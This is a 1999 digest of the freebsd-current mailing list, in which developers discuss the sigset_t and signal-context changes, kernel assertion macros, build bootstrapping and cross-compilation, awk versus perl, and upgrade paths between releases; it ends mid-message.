From owner-freebsd-current  Thu Sep 30 13:11:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from cs.rice.edu (cs.rice.edu [128.42.1.30])
	by hub.freebsd.org (Postfix) with ESMTP id 1598E152E3
	for <current@freebsd.org>; Thu, 30 Sep 1999 13:11:50 -0700 (PDT)
	(envelope-from alc@cs.rice.edu)
Received: (from alc@localhost)
	by cs.rice.edu (8.9.0/8.9.0) id PAA06694;
	Thu, 30 Sep 1999 15:11:37 -0500 (CDT)
Date: Thu, 30 Sep 1999 15:11:37 -0500
From: Alan Cox <alc@cs.rice.edu>
To: John Polstra <jdp@polstra.com>
Cc: current@freebsd.org
Subject: Re: Now that sigcontext is gone ...
Message-ID: <19990930151137.H19202@cs.rice.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.5us
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Actually, the last time I looked the Modula-3 run-time system determined
the faulting address from the undocumented (except on SunOS 4) 4th argument
that most BSD-derived systems passed to the signal handler.  There was
a time in fact when sc_err wasn't included in the sigcontext on FreeBSD
and this was the only way to determine the faulting address.

I guess this discussion means that the 4th argument is gone too...

Alan


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:13:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from feral.com (feral.com [192.67.166.1])
	by hub.freebsd.org (Postfix) with ESMTP id 536BA14D7B
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:13:23 -0700 (PDT)
	(envelope-from mjacob@feral.com)
Received: from beppo.feral.com (beppo [192.67.166.79])
	by feral.com (8.8.7/8.8.7) with ESMTP id NAA13724;
	Thu, 30 Sep 1999 13:13:21 -0700
Date: Thu, 30 Sep 1999 13:13:13 -0700 (PDT)
From: Matthew Jacob <mjacob@feral.com>
Reply-To: mjacob@feral.com
To: Matthew Dillon <dillon@apollo.backplane.com>
Cc: current@FreeBSD.ORG
Subject: Re: ASSERT macros in the kernel....
In-Reply-To: <199909302009.NAA13502@apollo.backplane.com>
Message-ID: <Pine.BSF.4.10.9909301311570.78588-100000@beppo.feral.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



> :I don't seem to see (after not looking very hard) any ASSERT macros for
> :the kernel in FreeBSD. It'd be pretty easy to add them, and they're
> :awfully useful. They're different from INVARIANT support in that they
> :encapsulate (and panic if the assertion is triggered) more inline types of
> :conditions.
> :
> :Any opinions?
> :
> :-matt
> 
>     I don't understand what you want to do.  KASSERT() is the standard
>     way to assert something in the kernel, but we do not want to bloat
>     the code unnecessarily so KASSERT()s only do something if INVARIANT
>     support has been turned on.
> 
>     If we need to panic on something whether or not invariant support has
>     been turned on, we currently just use a conditional and a panic.
> 
>     How would ASSERT be different from KASSERT() ?
> 
> 						-Matt
> 

>>I don't seem to see (after not looking very hard) any ASSERT macros for

That's what it was- I grepped for ASSERT, but somehow missed KASSERT-
that's sufficinet for me, I can live with INVARIANTS.

Sorry- I'm a moron- never mind....




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:21:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id EA332152E3
	for <current@freebsd.org>; Thu, 30 Sep 1999 13:21:46 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WmjO-0007tu-00; Thu, 30 Sep 1999 20:23:10 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id WAA08954;
	Thu, 30 Sep 1999 22:21:37 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F3C651.EC9305B7@scc.nl>
Date: Thu, 30 Sep 1999 22:21:37 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Nate Williams <nate@mt.sri.com>
Cc: John Polstra <jdp@polstra.com>, current@FreeBSD.ORG
Subject: Re: Now that sigcontext is gone ...
References: <XFMail.990930122739.jdp@polstra.com> <199909301942.NAA29570@mt.sri.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Nate Williams wrote:
> 
> > I'm trying to digest the recent signal changes and get a handle on
> > what I need to do to make Modula-3 work.  There is code in the runtime
> > currently which catches SIGBUS and uses the sigcontext's "sc_err"
> > member to find out the faulting address.  That should be replaced
> > by the siginfo_t's "si_addr" member.  But as far as I can tell from
> > grepping the kernel sources, that functionality isn't implemented.
> >
> > Is that right?  Any ideas regarding a work-around?
> 
> I'm also very interested in this, so if you could post this information
> publically, it would be greatly appreciated....

That's right, it's not implemented yet. The work-around is to use
ucontext. uc_mcontext contains the trapframe which has tf_err
(uc.uc_mcontext.mc_tf.tf_err).

I haven't paid any attention to implement any of the fields in siginfo_t
because that may only have complicated matters. It may be required to do
some non-trivial rewriting to get all the information at the right
place. Since real-time signals are also in the pipeline and also may
have specific needs, both "problems" can best be considered at the same
time (IMO).

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:23:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 1D13E14E3B
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:23:22 -0700 (PDT)
	(envelope-from bde@zeta.org.au)
Received: from d219.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12])
	by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id GAA26862;
	Fri, 1 Oct 1999 06:24:03 +1000
Date: Fri, 1 Oct 1999 06:22:57 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-Sender: bde@alphplex.bde.org
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <199909301325.GAA23273@gndrsh.dnsmgr.net>
Message-ID: <Pine.BSF.4.10.9910010621210.16934-100000@alphplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Why are the tools being built using new syscalls?  What causes this?

Mainly historical bugs.  Includes are installed too early and they only
match the new syscalls.  Tools are built using the new includes, so they
need new libraries to be consistent.  Therefore the new libraries are
built before the new tools.  These bugs were implemented in FreeBSD-1 by
someone named rgrimes :-).

For cross-compiling to i386's with 64-bit longs, I build all the tools in
the host environment (set BMAKEENV to nothing).  I guess this is good
enough to fix the current problem in some cases.  It works if and only
if the current sources for the tools are correct for the host machine.

Bruce



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:40:41 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 2BFE014DC9
	for <current@freebsd.org>; Thu, 30 Sep 1999 13:40:24 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id NAA23538;
	Thu, 30 Sep 1999 13:40:23 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id NAA26327;
	Thu, 30 Sep 1999 13:40:23 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990930134022.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <19990930151137.H19202@cs.rice.edu>
Date: Thu, 30 Sep 1999 13:40:22 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Alan Cox <alc@cs.rice.edu>
Subject: Re: Now that sigcontext is gone ...
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Alan Cox wrote:

> Actually, the last time I looked the Modula-3 run-time system
> determined the faulting address from the undocumented (except on
> SunOS 4) 4th argument that most BSD-derived systems passed to the
> signal handler.

Yep, I have fixed that in the PM3 release (which is the one that's
actively maintained these days), but probably not in the SRC release
on which our port is based.  I have ports for PM3 in the wings,
but I'm waiting for some necessary changes to <bsd.port.mk> to be
committed.

John
---
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:42:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from bearmtn-e0.cgd.ucar.edu (bearmtn-e0.cgd.ucar.edu [128.117.24.2])
	by hub.freebsd.org (Postfix) with ESMTP id 9B40214C27
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 13:42:53 -0700 (PDT)
	(envelope-from sitongia@cgd.ucar.edu)
Received: from shambhala.cgd.ucar.edu (shambhala [128.117.24.6])
	by bearmtn-e0.cgd.ucar.edu (8.9.3/8.9.3) with ESMTP id OAA08773
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 14:42:52 -0600 (MDT)
Received: from shambhala (shambhala [128.117.24.6])
	by shambhala.cgd.ucar.edu (8.9.3/8.9.3) with SMTP id OAA02806
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 14:42:47 -0600 (MDT)
Message-Id: <199909302042.OAA02806@shambhala.cgd.ucar.edu>
Date: Thu, 30 Sep 1999 14:42:47 -0600 (MDT)
From: Leonard Sitongia <sitongia@cgd.ucar.edu>
Reply-To: Leonard Sitongia <sitongia@cgd.ucar.edu>
Subject: Re: buildworld dies on compat-43/sigcompat.c
To: freebsd-current@freebsd.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: YdK2fwzHlHqsqs2onbEp1Q==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.3.2 SunOS 5.7 sun4u sparc 
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Sorry about wasting the bandwidth with this question.  I didn't have
compat enabled in /etc/make.conf, and now I've built and installed
the lasted -current.

thanks,
--Leonard

--Leonard E. Sitongia           CGD Systems Group (CSG)
sitongia@ucar.edu               voice: (303)497-1338   fax: (303)497-1324
Climate and Global Dynamics	P.O. Box 3000 Boulder CO 80307  USA



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:43:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id CA21414E77
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 13:43:39 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id WAA14659
	for current@FreeBSD.org; Thu, 30 Sep 1999 22:29:32 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 22:29:24 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F3C824.EE07A030@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <19990930151137.H19202@cs.rice.edu>
Subject: Re: Now that sigcontext is gone ...
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Alan Cox wrote:
> 
> I guess this discussion means that the 4th argument is gone too...
> 

Yes. ucontext_t (3rd argument) already contains that information and
siginfo_t *should* contain that information. There's not need for a 4th
argument anymore.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:47:13 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 21DD814E72
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:47:10 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id NAA23553;
	Thu, 30 Sep 1999 13:47:07 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id NAA26339;
	Thu, 30 Sep 1999 13:47:07 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990930134707.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <37F3C651.EC9305B7@scc.nl>
Date: Thu, 30 Sep 1999 13:47:07 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Marcel Moolenaar <marcel@scc.nl>
Subject: Re: Now that sigcontext is gone ...
Cc: current@FreeBSD.ORG, Nate Williams <nate@mt.sri.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> 
> That's right, it's not implemented yet. The work-around is to use
> ucontext. uc_mcontext contains the trapframe which has tf_err
> (uc.uc_mcontext.mc_tf.tf_err).

Thanks.

> I haven't paid any attention to implement any of the fields in siginfo_t
> because that may only have complicated matters. It may be required to do
> some non-trivial rewriting to get all the information at the right
> place. Since real-time signals are also in the pipeline and also may
> have specific needs, both "problems" can best be considered at the same
> time (IMO).

For this particular problem (getting the faulting address) it looks
like it will be easy to fix in "machdep.c:sendsig()".  The correct
value should be in regs->tf_err on the i386.  It's just a matter of
copying that into sf.sf_si.si_addr here (line 677):

        if (SIGISMEMBER(p->p_sigacts->ps_siginfo, sig)) {
                /* Signal handler installed with SA_SIGINFO. */
                sf.sf_siginfo = (register_t)&sfp->sf_si;
                sf.sf_ahu.sf_action = (__siginfohandler_t *)catcher;

                /* fill siginfo structure */
                sf.sf_si.si_signo = sig;
                sf.sf_si.si_code = code;
        }

On the alpha the value should come from frame->tf_regs[FRAME_TRAPARG_A0].
I'll try it when I get time.  (Feel free to beat me to the punch :-).

John
---
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:54: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id 0B01D15344
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:53:52 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id NAA12981;
          Thu, 30 Sep 1999 13:51:19 -0700 (PDT)
Message-ID: <19990930135119.29632@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 13:51:19 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Peter Wemm <peter@netplex.com.au>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990930003214.58194@hydrogen.fircrest.net> <19990930195614.2834A1CA7@overcee.netplex.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <19990930195614.2834A1CA7@overcee.netplex.com.au>; from Peter Wemm on Fri, Oct 01, 1999 at 03:56:14AM +0800
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Peter Wemm scribbled this message on Oct 1:
> John-Mark Gurney wrote:
> [..]
> > might as well say goodbye to ever getting freebsd's userland running
> > under NetBSD which is how our nice Alpha port got started...  this
> > NEEDS to be fixed...
> 
> NetBSD have just done exactly the same sort of thing.  And for that matter
> it makes no difference for that sort of thing as we used a different syscall
> set explicitly in that case.
> 
> The only "problem" is that -current libc is tightly bound to the -current
> kernel.
> 
> How about this as a cheap and robust "solution":
> - when building libc, have an option that allows sigaction etc to be
> *wrappers* that emulate their functionality through osigaction().  This
> means dropping sigaction etc from the assembler function list and use some
> C stubs instead.  Call this (say) -DANCIENTTOOLS for the Makefiles.
> The objective would be to try not to generate a binary that requires syscalls
> that are not present on something like 2.2.x.

[...]

I completely agree...  this isn't a problem that takes much work to
solve..

> So far we've been lucky.  None of the 40-50 odd new syscalls we've added
> over the last few years have been used in building the tree, so folks have

yes, we have had it very easy, it's surprising that we have made it
this long w/ the build system we have...

> had it easy for a while.  Marcel has done *nothing* wrong.  This was bound
> to blow up sooner or later when we added a new syscall that was used during
> the build.
> 
> So how about folks get off Marcel's back and stop running around like it's
> the end of the world and lets do a proper workaround.  Rest assured, this
> will be resolved with a workaround of some sort or other and will be a
> 4.0-RELEASE requirement that 3.x-stable can do a source upgrade to 4.0.

the reason I was on Marcel's back was because of his statement that he
WOULD NOT do ANYTHING to fix the problem, and that as far as he was
considered, that's life and deal w/ it...  if he had said, oh, I'll look
for a solution to the problem, I wouldn't of been so hard on him...

so, is Marcel going to do the work for this? or will this have to be
passed to someone like you or myself?

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13:59:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252])
	by hub.freebsd.org (Postfix) with ESMTP id 7FF381565C
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:58:10 -0700 (PDT)
	(envelope-from olli@dorifer.heim3.tu-clausthal.de)
Received: (from olli@localhost)
	by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id WAA27547
	for freebsd-current@FreeBSD.ORG; Thu, 30 Sep 1999 22:58:06 +0200 (CEST)
	(envelope-from olli)
Date: Thu, 30 Sep 1999 22:58:06 +0200 (CEST)
From: Oliver Fromme <olli@dorifer.heim3.tu-clausthal.de>
Message-Id: <199909302058.WAA27547@dorifer.heim3.tu-clausthal.de>
To: freebsd-current@FreeBSD.ORG
Subject: Re: FICL breakage...
Organization: Administration Heim 3
Reply-To: freebsd-current@FreeBSD.ORG
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Newsreader: TIN [version 1.2 RZTUC(3) PL2]
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Jordan K. Hubbard wrote in list.freebsd-current:
 > > Anyway, all good to know. There are almost certainly more perl
 > > speakers than awk speakers these days, so it probably makes sense
 > > to do these things in perl rather than awk.
 > 
 > I think that's sort of in the grey area.  There are also many Hardened
 > Traditionalists(tm) like myself who don't know perl and have no
 > interest in learning it because everything they ever need to do can be
 > handled by sh, awk and sed and they spent many years gaining that
 > level of proficiency with them.  We could color our ls and replace sh
 > with bash too, but sometimes there's value in retaining the simpler
 > traditions as you also go forward with the newer tools. :-)

Not that anybody actually listens to me, but I have to say that
I completely agree with Jordan.  Knowing both perl and awk, I
like awk a _lot_ better.  It is definitely much easier to learn
and to use.  (You _have_ to learn it first, of course, but if
you already know C, you know 90% of awk.)  A lot of my scripts
begin with #!/usr/bin/awk -f  ;)

In fact, I learned perl first and did quite a lot of things
with it.  However, when I became more familiar with awk, the
deficiencies of perl became more and more obvious to me.  So I
started porting my old perl stuff:  to sh, to awk, to C, or
whatever seemed most appropriate.  (I still have some perl
scripts left, just because they work, and lack of time to
convert, or because someone else wrote them without too much
care, rendering them unreadable and unmaintainable -- a common
problem with perl.)

Just my 0.02 Euro...

Regards
   Oliver

PS:  If you need something ported to awk or written in awk,
just let me know.  :)

-- 
Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany
(Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de)

"In jedem Stück Kohle wartet ein Diamant auf seine Geburt"
                                         (Terry Pratchett)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14: 2:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 092F215476
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 14:00:40 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id OAA24301;
	Thu, 30 Sep 1999 14:00:08 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909302100.OAA24301@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <37F3B84A.B07905AE@scc.nl> from Marcel Moolenaar at "Sep 30, 1999 09:21:46 pm"
To: marcel@scc.nl (Marcel Moolenaar)
Date: Thu, 30 Sep 1999 14:00:08 -0700 (PDT)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> "Rodney W. Grimes" wrote:
> > 
> > > 1. A compiler C running on machine 1 and capable of generating code
> > >    for machine 2 (the compiler includes headers and libraries),
> > > 2. Source code compatible with compiler C, but also with machine 2.
> > 
> > And also compatible with machine 1, that is the bugger right now
> > it seems.  Have the sources been modified such that they are now
> > no longer portable :-(.
> 
> I don't think that's necessary. If I have, say, MIPS assembler code,
> then I should be able to generate MIPS binaries on, say, Intel. MIPS
> assembler code is clearly not compatible with Intel. This is also true
> if I would make FreeBSD/Alpha on FreeBSD/i386. I'm speaking true
> cross-compilation here :-)

Your confusing yourself by mixing cross tools building with target
building.  You would never use the MIPS assembler source to build
an i386 ``tool'' to build the i386 version of gcc that produces alpha
binaires.

It is a two stage process, say that slowly to yourself about 5 times...

> > > The current build-tools target tries to solve that by creating a
> > > compiler C' by using cross-compilation. The result violates rule 1:
> > > Compiler C' is build for machine 2 and not for machine 1 and therefore
> > > should not be used on machine 1. This is where the discussion is all
> > > about.
> > 
> > Then this is an error in the tools target, by design the tools are
> > suppose to be capable of running on machine 1, and producing code for
> > machine 2.
> 
> But how do you know that you can build tools with sources for machine 2
> to run on machine 1?

Because it is the FreeBSD source tree, and we control that aspect of it,
if the above is a known.  If it can't be done the sources are non-portable.

> You can't make i386 binaries with alpha assembler
> sources, for example. To put it differently, isn't this why we need to
> port software in the first place?

But I can compile the gas assembler which is a portable assembler on anything
to produce anything.  The software is already ported.


> > Only later when you do the ``make all'' over the tree do
> > you produce the compiler that runs on machine 2.  Yes, you may end
> > up building gcc/egcs twice.  Just like you may end up building make
> > twice.
> 
> Yep. Unavoidable.
> 
> > > So, as long as rule 2 is not violated, cross-compilation can be used to
> > > to build a -current system on -stable and thus also to handle upgrades.
> > > The problem is in the case where rule 2 is violated. What's needed is
> > > the ability to "port" the proper tools to machine 1. Well, the first
> > > thing that comes to mind is the ports collection...
> > 
> > Why should ports have code that is any more portable than what is in
> > the src tree?
> 
> It's not that ports have code that is more portable, ports have patches
> that are applied as part of the build to make it work on FreeBSD. Also,
> ports generally still run configure and friends to avoid compatibility
> problems. This have been staticized (sp?) in the source tree.

You keep going back to this stuff that won't work on FreeBSD.  Now I can't
see how you get there, but /usr/src is pretty much a sure win to run on
FreeBSD if it _is_ FreeBSD.

> 
> > You should just be able to build egcs from the current
> > sources with the correct options and achive any results you could with
> > a port.
> 
> But you'll be using -stable headers and libraries (at least, that should
> be case).

Exactly, thats what makes it the hosted cross compiler.  The only thing
we use it for is building the target binaries.  Have you ever worked
in cross platform development??  

> This means that egcs, configured to build and run on -current
> may be improperly configured to build and run on -stable.

Then de statisize the configuration.

> 
> > If you can't, then the src tree has been rendered non-portable.
> 
> That may as well be the case. I can't give a more definite statement
> right now.
> 
> > > 2. An easy, yet flexible way must be used to be able to tell whether
> > >    ports must be installed or not. Simple rules like
> > >       ".if $source < srcvers .and $target > trgvers .then install egcs"
> > >    where $source = `sysctl kern.osreldate` and so on, may be sufficient.
> > 
> > Irrelivant, just always build the correct set of tools.  Trying to maintain
> > a list of the intertwinned dependicies can lead one to madness.
> 
> Hmmm...
> 
> Given the 2 cross-compilation prerequisites I gave, it follows that when
> the source machine has the proper tools for a cross-compilation, you
> don't need to build any tools as part of the build process itself. It
> could be advanteous to split a make world into a tools verification and
> installation phase, followed by the actual (cross)build. This can maybe
> also be used to handle bootstrapping problems on -current itself
> (compiling -current on a -current machine). It certainly minimizes
> unnecessary compilation and thus minimizes the time needed to do a make
> world.
> 
> You may be right about going mad if you try to handle the
> interdependencies, though :-)
> 

I'm pretty sure that is the cause of the loss of a certain part of my
life.... but since I can't remeber much about it I am not positive :-)

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14: 3: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id 6080015143
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 14:02:57 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from localhost (doug@localhost)
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id OAA44053;
	Thu, 30 Sep 1999 14:02:49 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Date: Thu, 30 Sep 1999 14:02:49 -0700 (PDT)
From: Doug <Doug@gorean.org>
X-Sender: doug@dt014n8c.san.rr.com
To: Brad Knowles <blk@skynet.be>
Cc: Adam Strohl <adams@digitalspark.net>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <v04205500b418e143c413@[195.238.21.204]>
Message-ID: <Pine.BSF.4.10.9909301358420.43980-100000@dt014n8c.san.rr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, 30 Sep 1999, Brad Knowles wrote:

> At 10:17 PM +0000 1999/9/29, Adam Strohl wrote:
> 
> > Furthermore, for when 4.0 becomes a -R or -S, ftping in a compiled kernel
> > shouldn't be that hard of a price to pay for going from 3.2.
> >
> > /stand/sysinstall based upgrades could easily seemlessly take care of
> > this, too.
> 
> 	I must confess ignorance (and I haven't exhaustively searched the 
> mailing list archives, the Handbook, or the FAQ),

	For future reference you will get better results if you don't
explicitly state your failure to educate yourself on the topic you are
posting about. 

> but is this the 
> recommended method of upgrading from a previous major release to the 
> latest -STABLE major release (i.e., going from 2.x to 3.x today, or 
> from 3.x to 4.x when the time comes)?  I thought the official 
> procedure was cvsup, or is that for updating only within a particular 
> major release?

	There is no "official procedure." Like everything else in unix the
"best" solution varies on the problem domain. If you have console access
